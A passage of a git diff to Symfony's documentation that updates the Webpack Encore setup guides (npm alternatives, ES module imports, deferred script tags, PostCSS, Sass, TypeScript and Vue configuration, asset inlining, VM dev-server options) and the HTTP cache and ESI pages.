+    # if you use the npm package manager
     $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
@@ -54,7 +63,7 @@ is the main config file for both Webpack and Webpack Encore:
 
 .. code-block:: javascript
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // Manually configure the runtime environment if not already configured yet by the "encore" command.
     // It's useful when you use tools that rely on webpack.config.js file.
@@ -143,9 +152,9 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code
      */
 
     // any CSS you import will output into a single css file (app.css in this case)
-    import '../css/app.css';
+    import './styles/app.css';
 
-    // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
+    // Need jQuery? Install it with "yarn add jquery"(or "npm install jquery"), then uncomment to import it.
     // import $ from 'jquery';
 
     console.log('Hello Webpack Encore! Edit me in assets/app.js');
diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 4f1193d7e06..8bad142104c 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -32,10 +32,11 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
     +     .autoProvidejQuery()
-    ;
+      ;
 
 After restarting Encore, Webpack will look for all uninitialized ``$`` and ``jQuery``
 variables and automatically require ``jquery`` and set those variables for you.
@@ -74,8 +75,10 @@ page, add:
 
 .. code-block:: diff
 
-    // require jQuery normally
-    const $ = require('jquery');
+      // app.js
+
+      // require jQuery normally
+      const $ = require('jquery');
 
     + // create global $ and jQuery variables
     + global.$ = global.jQuery = $;
@@ -84,3 +87,19 @@ The ``global`` variable is a special way of setting things in the ``window``
 variable. In a web context, using ``global`` and ``window`` are equivalent,
 except that ``window.jQuery`` won't work when using ``autoProvidejQuery()``.
 In other words, use ``global``.
+
+Additionally, be sure to set the ``script_attributes.defer`` option to ``false``
+in your ``webpack_encore.yaml`` file:
+
+.. code-block:: yaml
+
+    # config/packages/webpack_encore.yaml
+    webpack_encore:
+        # ...
+        script_attributes:
+            defer: false
+
+This will make sure there is *not* a ``defer`` attribute on your ``script``
+tags. For more information, see `Moving <script> inside <head> and the "defer" Attribute`_
+
+.. _`Moving <script> inside <head> and the "defer" Attribute`: https://symfony.com/blog/moving-script-inside-head-and-the-defer-attribute
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 76c6e8d67e9..40b2dc43923 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -4,11 +4,30 @@ PostCSS and autoprefixing (postcss-loader)
 `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot
 of cool ways, like `autoprefixing`_, `linting`_ and more!
 
-First, download ``postcss-loader`` and any plugins you want, like ``autoprefixer``:
+First enable it in ``webpack.config.js``:
+
+.. code-block:: diff
+
+      // webpack.config.js
+
+      Encore
+          // ...
+    +     .enablePostCssLoader()
+      ;
+
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
+Next, download any plugins you want, like ``autoprefixer``:
 
 .. code-block:: terminal
 
-    $ yarn add postcss-loader autoprefixer --dev
+    # if you use the Yarn package manager
+    $ yarn add autoprefixer --dev
+
+    # if you use the npm package manager
+    $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
@@ -24,35 +43,23 @@ Next, create a ``postcss.config.js`` file at the root of your project:
         }
     }
 
-Then, enable the loader in Encore!
-
-.. code-block:: diff
-
-    // webpack.config.js
-
-    Encore
-        // ...
-    +     .enablePostCssLoader()
-    ;
-
-Because you just modified ``webpack.config.js``, stop and restart Encore.
-
 That's it! The ``postcss-loader`` will now be used for all CSS, Sass, etc files.
 You can also pass options to the `postcss-loader`_ by passing a callback:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
+    + const path = require('path');
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enablePostCssLoader((options) => {
-    +         options.config = {
+    +         options.postcssOptions = {
     +             // the directory where the postcss.config.js file is stored
-    +             path: 'path/to/config'
+    +             config: path.resolve(__dirname, 'sub-dir', 'custom.config.js'),
     +         };
     +     })
-    ;
+      ;
 
 .. _browserslist_package_config:
 
@@ -65,25 +72,25 @@ support. The best-practice is to configure this directly in your ``package.json`
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "defaults"
     +  ]
-    }
+      }
 
 The ``defaults`` option is recommended for most users and would be equivalent
 to the following browserslist:
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "> 0.5%",
     +    "last 2 versions",
     +    "Firefox ESR",
     +    "not dead"
     +  ]
-    }
+      }
 
 See `browserslist`_ for more details on the syntax.
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index ca3b017f13b..96f45a09f5b 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -10,20 +10,23 @@ Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
 
-    $ yarn add @babel/preset-react --dev
+    # if you use the Yarn package manager
     $ yarn add react react-dom prop-types
 
+    # if you use the npm package manager
+    $ npm install react react-dom prop-types --save
+
 Enable react in your ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enableReactPreset()
-    ;
+      ;
 
 
 Then restart Encore. When you do, it will give you a command you can run to
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
deleted file mode 100644
index a2c2d08ea2a..00000000000
--- a/frontend/encore/shared-entry.rst
+++ /dev/null
@@ -1,42 +0,0 @@
-Creating a Shared Commons Entry
-===============================
-
-.. caution::
-
-    While this method still works, see :doc:`/frontend/encore/split-chunks` for
-    the preferred solution to sharing assets between multiple entry files.
-
-Suppose you have multiple entry files and *each* requires ``jquery``. In this
-case, *each* output file will contain jQuery, slowing down your user's experience.
-To solve this, you can *extract* the common libraries to a "shared" entry file
-that's included on every page.
-
-Suppose you already have an entry called ``app`` that's included on every page.
-Update your code to use ``createSharedEntry()``:
-
-.. code-block:: diff
-
-    Encore
-        // ...
-    -     .addEntry('app', './assets/app.js')
-    +     .createSharedEntry('app', './assets/app.js')
-        .addEntry('homepage', './assets/homepage.js')
-        .addEntry('blog', './assets/blog.js')
-        .addEntry('store', './assets/store.js')
-
-Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
-then ``jquery`` would be packaged into *both* files, which is wasteful. By making
-``app.js`` your "shared" entry, *any* code required by ``app.js`` (like jQuery) will
-*no longer* be packaged into any other files. The same is true for any CSS.
-
-Because ``app.js`` contains all the common code that other entry files depend on,
-its script (and link) tag must be on every page.
-
-.. tip::
-
-    The ``app.js`` file works best when its contents are changed *rarely*
-    and you're using :ref:`long-term caching <encore-long-term-caching>`. Why?
-    If ``app.js`` contains application code that *frequently* changes, then
-    (when using versioning), its filename hash will frequently change. This means
-    your users won't enjoy the benefits of long-term caching for this file (which
-    is generally quite large).
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3d38686ce05..bed5c73c865 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -17,9 +17,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
     // assets/app.js
     // ...
 
-    import '../css/app.css';
-
-    // var $ = require('jquery');
+    import './styles/app.css';
 
 Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
@@ -35,7 +33,7 @@ of your project. It already holds the basic config you need:
 .. code-block:: javascript
 
     // webpack.config.js
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     Encore
         // directory where compiled assets will be stored
@@ -57,23 +55,30 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 .. _encore-build-assets:
 
-To build the assets, run:
+To build the assets, run the following if you use the Yarn package manager:
 
 .. code-block:: terminal
 
     # compile assets once
     $ yarn encore dev
-    # if you prefer npm, run:
-    $ npm run dev
 
     # or, recompile assets automatically when files change
     $ yarn encore dev --watch
-    # if you prefer npm, run:
-    $ npm run watch
 
     # on deploy, create a production build
     $ yarn encore production
-    # if you prefer npm, run:
+
+If you use the npm package manager, run the following commands instead:
+
+.. code-block:: terminal
+
+    # compile assets once
+    $ npm run dev
+
+    # or, recompile assets automatically when files change
+    $ npm run watch
+
+    # on deploy, create a production build
     $ npm run build
 
 .. note::
@@ -104,18 +109,18 @@ can do most of the work for you:
                 <!-- Renders a link tag (if your module requires any CSS)
                      <link rel="stylesheet" href="/build/app.css"> -->
             {% endblock %}
-        </head>
-        <body>
-            <!-- ... -->
 
             {% block javascripts %}
                 {{ encore_entry_script_tags('app') }}
 
                 <!-- Renders app.js & a webpack runtime.js file
-                    <script src="/build/runtime.js"></script>
-                    <script src="/build/app.js"></script> -->
+                    <script src="/build/runtime.js" defer></script>
+                    <script src="/build/app.js" defer></script>
+                    See note below about the "defer" attribute -->
             {% endblock %}
-        </body>
+        </head>
+
+        <!-- ... -->
     </html>
 
 .. _encore-entrypointsjson-simple-description:
@@ -130,27 +135,32 @@ filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
+And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
+more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
 some optional features.
 
-.. versionadded:: 0.21.0
+.. versionadded:: 1.9.0
 
-    The ``encore_entry_link_tags()`` comes from WebpackEncoreBundle and relies
-    on a feature in Encore that was first introduced in version 0.21.0. Previously,
-    the ``asset()`` function was used to point directly to the file.
+    The ``defer`` attribute on the ``script`` tags delays the execution of the
+    JavaScript until the page loads (similar to putting the ``script`` at the
+    bottom of the page). The ability to always add this attribute was introduced
+    in WebpackEncoreBundle 1.9.0 and is automatically enabled in that bundle's
+    recipe in the ``config/packages/webpack_encore.yaml`` file. See
+    `WebpackEncoreBundle Configuration`_ for more details.
 
 Requiring JavaScript Modules
 ----------------------------
 
-Webpack is a module bundler, which means that you can ``require`` other JavaScript
+Webpack is a module bundler, which means that you can ``import`` other JavaScript
 files. First, create a file that exports a function:
 
 .. code-block:: javascript
 
     // assets/greet.js
-    module.exports = function(name) {
+    export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
 
@@ -158,21 +168,25 @@ We'll use jQuery to print this message on the page. Install it via:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn add jquery --dev
 
-Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
+    # if you use the npm package manager
+    $ npm install jquery --save-dev
+
+Great! Use ``import`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-    // assets/app.js
-    // ...
+      // assets/app.js
+      // ...
 
     + // loads the jquery package from node_modules
-    + var $ = require('jquery');
+    + import jquery from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file
-    + var greet = require('./greet');
+    + import greet from './greet';
 
     + $(document).ready(function() {
     +     $('body').prepend('<h1>'+greet('jill')+'</h1>');
@@ -182,37 +196,6 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
-The import and export Statements
---------------------------------
-
-Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript
-provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes
-the ability to use dynamic imports.
-
-To export values using the alternate syntax, use ``export``:
-
-.. code-block:: diff
-
-    // assets/greet.js
-    - module.exports = function(name) {
-    + export default function(name) {
-        return `Yo yo ${name} - welcome to Encore!`;
-    };
-
-To import values, use ``import``:
-
-.. code-block:: diff
-
-    // assets/app.js
-    - require('../css/app.css');
-    + import '../css/app.css';
-
-    - var $ = require('jquery');
-    + import $ from 'jquery';
-
-    - var greet = require('./greet');
-    + import greet from './greet';
-
 .. _multiple-javascript-entries:
 
 Page-Specific JavaScript or CSS (Multiple Entries)
@@ -237,20 +220,24 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
-        .addEntry('app', './assets/app.js')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('app', './assets/app.js')
     +     .addEntry('checkout', './assets/checkout.js')
     +     .addEntry('account', './assets/account.js')
-        // ...
+          // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
 
 .. code-block:: terminal
 
-    $ yarn run encore dev --watch
+    # if you use the Yarn package manager
+    $ yarn encore dev --watch
+
+    # if you use the npm package manager
+    $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
 in your build directory. And, if any of those files require/import CSS, Webpack
@@ -261,8 +248,8 @@ you need them:
 
 .. code-block:: diff
 
-    {# templates/.../checkout.html.twig #}
-    {% extends 'base.html.twig' %}
+      {# templates/.../checkout.html.twig #}
+      {% extends 'base.html.twig' %}
 
     + {% block stylesheets %}
     +     {{ parent() }}
@@ -291,37 +278,42 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-    // assets/app.js
-    - import '../css/app.css';
-    + import '../css/app.scss';
+      // assets/app.js
+    - import './styles/app.css';
+    + import './styles/app.scss';
 
 Then, tell Encore to enable the Sass pre-processor:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
     +    .enableSassLoader()
-    ;
+      ;
 
 Because you just changed your ``webpack.config.js`` file, you'll need to restart
 Encore. When you do, you'll see an error!
 
 .. code-block:: terminal
 
-    >   Error: Install sass-loader & node-sass to use enableSassLoader()
-    >     yarn add sass-loader@^8.0.0 node-sass --dev
+    >   Error: Install sass-loader & sass to use enableSassLoader()
+    >     yarn add sass-loader@^12.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    $ yarn add sass-loader@^8.0.0 node-sass --dev
+    # if you use the Yarn package manager
+    $ yarn add sass-loader@^12.0.0 sass --dev
     $ yarn encore dev --watch
 
+    # if you use the npm package manager
+    $ npm install sass-loader@^12.0.0 sass --save-dev
+    $ npm run watch
+
 Your app now supports Sass. Encore also supports LESS and Stylus. See
 :doc:`/frontend/encore/css-preprocessors`.
 
@@ -354,4 +346,4 @@ Encore supports many more features! For a full list of what you can do, see
 `Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`.
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
-.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
+.. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 0205537b7d0..7739b0a49c6 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -10,22 +10,24 @@ To enable this, call ``splitEntryChunks()``:
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        // multiple entry files, which probably import the same code
-        .addEntry('app', './assets/app.js')
-        .addEntry('homepage', './assets/homepage.js')
-        .addEntry('blog', './assets/blog.js')
-        .addEntry('store', './assets/store.js')
+          // multiple entry files, which probably import the same code
+          .addEntry('app', './assets/app.js')
+          .addEntry('homepage', './assets/homepage.js')
+          .addEntry('blog', './assets/blog.js')
+          .addEntry('store', './assets/store.js')
 
     +     .splitEntryChunks()
 
 
 Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file
-(e.g. ``homepage.js``, ``vendor~homepage.js``). This means that you *may* need to
-include *multiple* ``script`` tags (or ``link`` tags for CSS) in your template.
-Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
+(e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the
+filename of the second will be less obvious when you build for production). This
+means that you *may* need to include *multiple* ``script`` tags (or ``link`` tags
+for CSS) in your template. Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
 file that lists exactly which CSS and JavaScript files are needed for each entry.
 
 If you're using the ``encore_entry_link_tags()`` and ``encore_entry_script_tags()``
@@ -37,9 +39,9 @@ tags as needed:
 
     {#
         May now render multiple script tags:
-            <script src="/build/runtime.js"></script>
-            <script src="/build/vendor~homepage.js"></script>
-            <script src="/build/homepage.js"></script>
+            <script src="/build/runtime.js" defer></script>
+            <script src="/build/vendors-node_modules_jquery_dist_jquery_js.js" defer></script>
+            <script src="/build/homepage.js" defer></script>
     #}
     {{ encore_entry_script_tags('homepage') }}
 
@@ -52,10 +54,11 @@ this plugin with the ``configureSplitChunks()`` function:
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .splitEntryChunks()
+          .splitEntryChunks()
     +     .configureSplitChunks(function(splitChunks) {
     +         // change the configuration
     +         splitChunks.minSize = 0;
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index b1af45d9c04..103f1f0b293 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -5,20 +5,24 @@ Want to use `TypeScript`_? No problem! First, enable it:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
 
-    Encore
-        // ...
+      // ...
+      Encore
+          // ...
     +     .addEntry('main', './assets/main.ts')
 
     +     .enableTypeScriptLoader()
 
-        // optionally enable forked type script for faster builds
-        // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
-        // requires that you have a tsconfig.json file that is setup correctly.
+          // optionally enable forked type script for faster builds
+          // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
+          // requires that you have a tsconfig.json file that is setup correctly.
     +     //.enableForkedTypeScriptTypesChecking()
-    ;
+      ;
+
+Then create an empty ``tsconfig.json`` file with the contents ``{}`` in the project
+root folder (or in the folder where your TypeScript files are located; e.g. ``assets/``).
+In ``tsconfig.json`` you can define more options, as shown in `tsconfig.json reference`_.
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -30,9 +34,10 @@ method.
 
 .. code-block:: diff
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.ts')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('main', './assets/main.ts')
 
     -     .enableTypeScriptLoader()
     +     .enableTypeScriptLoader(function(tsConfig) {
@@ -42,8 +47,8 @@ method.
     +         // tsConfig.silent = false
     +     })
 
-            // ...
-    ;
+              // ...
+      ;
 
 See the `Encore's index.js file`_ for detailed documentation and check
 out the `tsconfig.json reference`_ and the `Webpack guide about Typescript`_.
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 976cd6974d8..5e89234f295 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,18 +1,11 @@
-Inlining files in CSS with Webpack URL Loader
-=============================================
+Inlining Images & Fonts in CSS
+==============================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the
 generated CSS files.
 
-Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
-it's disabled by default. First, add the URL loader to your project:
-
-.. code-block:: terminal
-
-    $ yarn add url-loader --dev
-
-Then enable it in your ``webpack.config.js``:
+You can enable this in ``webpack.config.js`` for images, fonts or both:
 
 .. code-block:: javascript
 
@@ -21,31 +14,19 @@ Then enable it in your ``webpack.config.js``:
 
     Encore
         // ...
-        .configureUrlLoader({
-            fonts: { limit: 4096 },
-            images: { limit: 4096 }
+        .configureImageRule({
+            // tell Webpack it should consider inlining
+            type: 'asset',
+            //maxSize: 4 * 1024, // 4 kb - the default is 8kb
         })
-    ;
-
-The ``limit`` option defines the maximum size in bytes of the inlined files. In
-the previous example, font and image files having a size below or equal to 4 KB
-will be inlined and the rest of files will be processed as usual.
-
-You can also use all the other options supported by the `URL Loader`_. If you
-want to disable this loader for either images or fonts, remove the corresponding
-key from the object that is passed to the ``configureUrlLoader()`` method:
-
-.. code-block:: javascript
-
-    // webpack.config.js
-    // ...
 
-    Encore
-        // ...
-        .configureUrlLoader({
-            // 'fonts' is not defined, so only images will be inlined
-            images: { limit: 4096 }
+        .configureFontRule({
+            type: 'asset',
+            //maxSize: 4 * 1024
         })
     ;
 
-.. _`URL Loader`: https://github.com/webpack-contrib/url-loader
+This leverages Webpack `Asset Modules`_. You can read more about this and the
+configuration there.
+
+.. _`Asset Modules`: https://webpack.js.org/guides/asset-modules/
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 1f3d0cdd39e..6fe8a8275cd 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -7,17 +7,17 @@ Tired of deploying and having browser's cache the old version of your assets?
 By calling ``enableVersioning()``, each filename will now include a hash that
 changes whenever the *contents* of that file change (e.g. ``app.123abc.js``
 instead of ``app.js``). This allows you to use aggressive caching strategies
-(e.g. a far future ``Expires``) because, whenever a file change, its hash will change,
+(e.g. a far future ``Expires``) because, whenever a file changes, its hash will change,
 ignoring any existing cache:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
 
-    Encore
-        .setOutputPath('public/build/')
-        // ...
+      // ...
+      Encore
+          .setOutputPath('public/build/')
+          // ...
     +     .enableVersioning()
 
 To link to these assets, Encore creates two files ``entrypoints.json`` and
@@ -28,11 +28,12 @@ To link to these assets, Encore creates two files ``entrypoints.json`` and
 Loading Assets from ``entrypoints.json`` & ``manifest.json``
 ------------------------------------------------------------
 
-Whenever you run Encore, two configuration files are generated: ``entrypoints.json``
+Whenever you run Encore, two configuration files are generated in your
+output folder (default location: ``public/build/``): ``entrypoints.json``
 and ``manifest.json``. Each file is similar, and contains a map to the final, versioned
-filename.
+filenames.
 
-The first file - ``entrypoints.json`` - is used by the ``encore_entry_script_tags()``
+The first file – ``entrypoints.json`` – is used by the ``encore_entry_script_tags()``
 and ``encore_entry_link_tags()`` Twig helpers. If you're using these, then your
 CSS and JavaScript files will render with the new, versioned filename. If you're
 not using Symfony, your app will need to read this file in a similar way.
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 068d5c8451f..23010b9f169 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -49,14 +49,14 @@ If your Symfony application is running on a custom domain (e.g.
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --public http://app.vm:8080",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 After restarting Encore and reloading your web page, you will probably see
 different issues in the web console:
@@ -78,14 +78,14 @@ connections:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server --public http://app.vm:8080",
     +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
@@ -96,26 +96,27 @@ Fix "Invalid Host header" Issue
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
-the dev-server. To fix this, add the argument ``--disable-host-check``:
+the dev-server. To fix this, set the ``firewall`` option:
 
-.. code-block:: diff
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-    +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check",
-            ...
-        }
-    }
+        .configureDevServerOptions(options => {
+            options.firewall = false;
+        })
 
 .. caution::
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
+    Beware that `it's not recommended to disable the firewall`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com
 .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System
 .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 3d10eedcd41..896c1e6de19 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -10,15 +10,15 @@ Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     +     .enableVueLoader()
-    ;
+      ;
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -45,7 +45,7 @@ runtime. This means that you *can* do either of these:
     });
 
 If you do *not* need this functionality (e.g. you use single file components),
-then you can tell Encore to create a *smaller* and CSP-compliant build:
+then you can tell Encore to create a *smaller* build following Content Security Policy:
 
 .. code-block:: javascript
 
@@ -65,11 +65,15 @@ Hot Module Replacement (HMR)
 
 The ``vue-loader`` supports hot module replacement: just update your code and watch
 your Vue.js app update *without* a browser refresh! To activate it, use the
-``dev-server`` with the ``--hot`` option:
+``dev-server``:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --hot
+    # if you use the Yarn package manager
+    $ yarn encore dev-server
+
+    # if you use the npm package manager
+    $ npm run dev-server
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing
@@ -85,18 +89,18 @@ You can enable `JSX with Vue.js`_ by configuring the second parameter of the
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     -     .enableVueLoader()
     +     .enableVueLoader(() => {}, {
     +         useJsx: true
     +     })
-    ;
+      ;
 
 Next, run or restart Encore. When you do, you will see an error message helping
 you install any missing dependencies. After running that command and restarting
diff --git a/http_cache.rst b/http_cache.rst
index 3e444c2d2b6..35620d1cd76 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -93,20 +93,20 @@ caching kernel:
 
 .. code-block:: diff
 
-    // public/index.php
+      // public/index.php
 
     + use App\CacheKernel;
-    use App\Kernel;
+      use App\Kernel;
 
-    // ...
-    $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
+      // ...
+      $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
     + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
     + if ('prod' === $kernel->getEnvironment()) {
     +     $kernel = new CacheKernel($kernel);
     + }
 
-    $request = Request::createFromGlobals();
-    // ...
+      $request = Request::createFromGlobals();
+      // ...
 
 The caching kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
@@ -155,7 +155,7 @@ header to the response. You can also use the ``trace_level`` config
 option and set it to either ``none``, ``short`` or ``full`` to
 add this information.
 
-``short`` will add the information for the master request only.
+``short`` will add the information for the main request only.
 It's written in a concise way that makes it easy to record the
 information in your server log files. For example, in Apache you can
 use ``%{X-Symfony-Cache}o`` in ``LogFormat`` format statements.
@@ -310,7 +310,7 @@ Safe Methods: Only caching GET or HEAD requests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 HTTP caching only works for "safe" HTTP methods (like GET and HEAD). This means
-two things:
+three things:
 
 * Don't try to cache PUT or DELETE requests. It won't work and with good reason.
   These methods are meant to be used when mutating the state of your application
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 621f604ea95..7229608665e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -88,10 +88,13 @@ First, to use ESI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'esi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()
+                ->enabled(true)
+            ;
+        };
 
 Now, suppose you have a page that is relatively static, except for a news
 ticker at the bottom of the content. With ESI, you can cache the news ticker
@@ -99,7 +102,7 @@ independently of the rest of the page::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;
-    
+
     // ...
     class DefaultController extends AbstractController
     {
@@ -156,12 +159,12 @@ used ``render()``.
 
 .. note::
 
-    Symfony detects if a gateway cache supports ESI via another Akamai
-    specification that is supported out of the box by the Symfony reverse
-    proxy.
+    Symfony considers that a gateway cache supports ESI if its request include
+    the ``Surrogate-Capability`` HTTP header and the value of that header
+    contains the ``ESI/1.0`` string anywhere.
 
